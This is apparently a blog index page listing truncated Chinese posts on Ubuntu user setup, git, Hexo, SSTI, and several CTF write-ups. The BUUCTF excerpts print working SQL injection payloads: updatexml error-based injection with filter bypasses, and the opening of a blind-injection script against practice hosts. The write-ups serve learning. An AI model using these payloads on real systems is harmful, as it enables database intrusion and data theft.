Linux-Ubuntu虚拟机修改用户名为学号的试错解决
[TOC]
Linux-Ubuntu虚拟机修改用户名为学号的试错解决新开的大数据基础课要求创建学号为用户名的Ubuntu虚拟机,许久不使用虚拟机了,在基本操作中遇到了一些新问题,特此记录。
最初我只是想着新建一个用户:
sudo useradd username -m
-m的目的是在home路径下创建该用户的文件夹。
在创建成功后切换至学号用户下:
问题一:应该出现的1903@dc-virtual-machine:~/Desktop$并未出现,只有$,正常情况下应该是切换到用户后直接到用户所在目录下,见招拆招:
解决方法
在/etc/passwd下保存各个用户的记录,翻到底部:
将1903这一行末尾的sh改为bash,原因为在Ubuntu下默认sh为dash,有许多命令受限,因此将sh改为bash也就方便了我们的操作。
至于如何全局修改可以使用:
sudo dpkg-reconfigure dash
弹出选择框选择no就可以修改成功了。
这里需要说明一下sh和bash的区别:
区别
问题二:在使用useradd username后出现异常
useradd: group use ...
一道简单的密码学
[TOC]
一道简单的密码学:代码coding:import mathflag = xxxdata = list(map(ord,flag))cip = []for i in range(len(data)): cip.append(math.e**data[i])print(cip)'''[2.178203880729008e+47, 1.6094870669615087e+48, 7.307059979368028e+43, 9.889030319346894e+42, 2.3886906014249767e+50, 1.9862648361376436e+44, 2.6195173187490456e+53, 9.889030319346894e+42, 7.016735912097614e+20, 2.178203880729008e+47, 7.307059979368028e+43, 1.811239082889014e+41, 1.6094870669615087e+48, 5.920972027664636e+47, 21464357 ...
【SSTI】模板注入基础
[TOC]
之前做了一些模板注入的题目,现在将一些知识点补充完整。
模板引擎(SST)SST简介SSTI:Server Side Template Injection,服务端模板注入。
James Kettle在2015年黑帽大会上进行的演讲,为多个模板引擎的漏洞利用技术奠定了坚实的基础。
模板引擎是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
HTML界面没有实际内容,访问这个页面时就需要将变量转换成预期的内容,这时就需要模板引擎,常见的模板引擎有Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig
PHP等脚本语言所编写的代码访问SST,SST通过正则匹配产生一个新的缓存的HTML页面,从而实现数据与页面的分离,
也就是PHP代码与HTML代码的分离。
SST为何会产生漏洞危险?SST信任用户的输入,并执行输入的内容,在未加过滤的前提下很可能执行本机函数,SSTI就产生了RCE和信息泄露的问题,和SQL注入有点相似。
如何防御SSTI?1、尽量加载静态模板文件 ...
【BJDCTF-2020-web】Cookie is so subtle!
[TOC]
今天收获比较大的就是这一道模板注入题:cookie is so subtle
我是在ctfhub上寻找关于cookie的题目时发现的,后来发现BUUCTF也有这道题,就复现了一遍。
第一步、审查发现漏洞:主界面是BJDCTF,界面正常,源码检查一下,看了一下cookie也没大问题:
Flag界面提示输入ID(Username)进行提交,
检查源码,也没发现问题,cookie正常:
尝试输入一波:
发现cookie中多出了一个user变量,且输入与回显一致,user这个地方存在问题。
最后是Hint界面,页面未见提示,但是在源码中发现
Why not take a closer look at cookies?
更加使我确信cookie中user变量存在问题,并且它对应的界面正是flag.php。
第二步、漏洞利用:首先对flag.php界面进行抓包:
查询一番过后发现是模板注入(SSTI):
验证是否为SSTI:
验证通过!!!
接下来判断是jinja2模板还是死Twig模板:(其实在判断为SSTI下的php页面就已经确定其为Twig)
判断方法:
如果 ...
【git】git学习笔记
[TOC]
版本控制与Git历史:版本控制(revision control):在开发中管理文件或工程等相关内容的修改历史,便于回溯恢复。
版本迭代 版本控制器
多人开发,统计工作量
常见版本控制工具:GIt SVN CVS VSS TFS Visual Studio Online
Git历史:版本控制分类:本地版本控制–适合个人用 RCS
集中版本控制–服务器端开发协作 SVN、CVS、VSS
分布式版本控制–各用户保存全部版本数据 Git
Git与SVN区别:Git–分布式版本控制系统 不需要联网工作,每个人电脑就是完整的版本库
SVN–集中式版本控制系统 必须联网工作,统一调配
Git是目前世界上最先进的分布式版本控制系统。
Git历史:Linux广大参与者在进行内核维护工作时事务繁杂,开始使用BitKeeper(分布式版本控制系统),后来BitKeeper与Linux社区合作关系结束,Linux开源社区便基于BitKeeper开发出Git。
Git安装配置问题:淘宝镜像下载源:
htt ...
Hexo连接GitHub时出现的SSH密钥更改为个人访问令牌问题
[TOC]
前言:前几天写了几篇博客,一直都忘记上传到网站上,今天来整理时出现了以前不曾遇到的问题,刚开始只是不停的爆红:
当然这是没有上代理的老问题了,结果等我上了代理后仍然不行,但是这一次却没有爆红(原谅我一直在hexo d,却没有思考问题在哪里)
问题排查与探究:我刚开始看中的是:
一直在找它的问题
The requested URL returned error: 403[41mFATAL[49m { err: Error: Spawn failed
找了一大堆,比较关键的观点都是让我将控制面板中的凭据管理器中的Windows关于GitHub的凭据删掉,再去git push等等。
搞了好久都未发现问题所在,直到我漫不经心的看到这两行话:
remote: Support for password authentication was removed on August 13, 2021. Please use a personal access token instead.remote: Please see https://github.blog/ ...
【BUUCTF】[极客大挑战-2019]HardSQL
s
万能密码 admin’ or ‘1’=’1 存在过滤:
admin尝试:
单引号过滤:
or
空格过滤
等号过滤
and
发现过滤掉的关键词太多了,使用报错注入:
这里采用updatexml报错注入:
空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号,用’^’来连接updatexml函数,结合了异或。
接下来就是常规操作:查库–查表–查字段–查数据
第一步查库名:payload:
#版本check.php?username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21#库名check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21
数据库名:geek
第二步查表名:payload:
http://0b6cd46f-fec4-4a74-be1a-cd9ac8d0075f.node4.buuoj.c ...
【BUUCTF】[极客大挑战-2019]FinalSQL
首先试探规则,发现过滤关键词admin被过滤
单引号
双引号
or
1=1
等于号被过滤
试了一大堆发现不行,存在多处过滤
尝试最简单的单纯数字和字母,可以通过但是密码错误:
突然发现所谓的神秘代码,逐个阅读发现是盲注
利用脚本盲注:在网上找到的大神脚本:(改下路径就可以了)
import reimport requestsimport stringurl = "http://b8e3d121-1efb-4e5c-84e0-caeca8075697.node4.buuoj.cn/search.php"flag = ''def payload(i, j): # 数据库名字 sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) # 表名 # sql = "1^(ord(substr((select(group_concat ...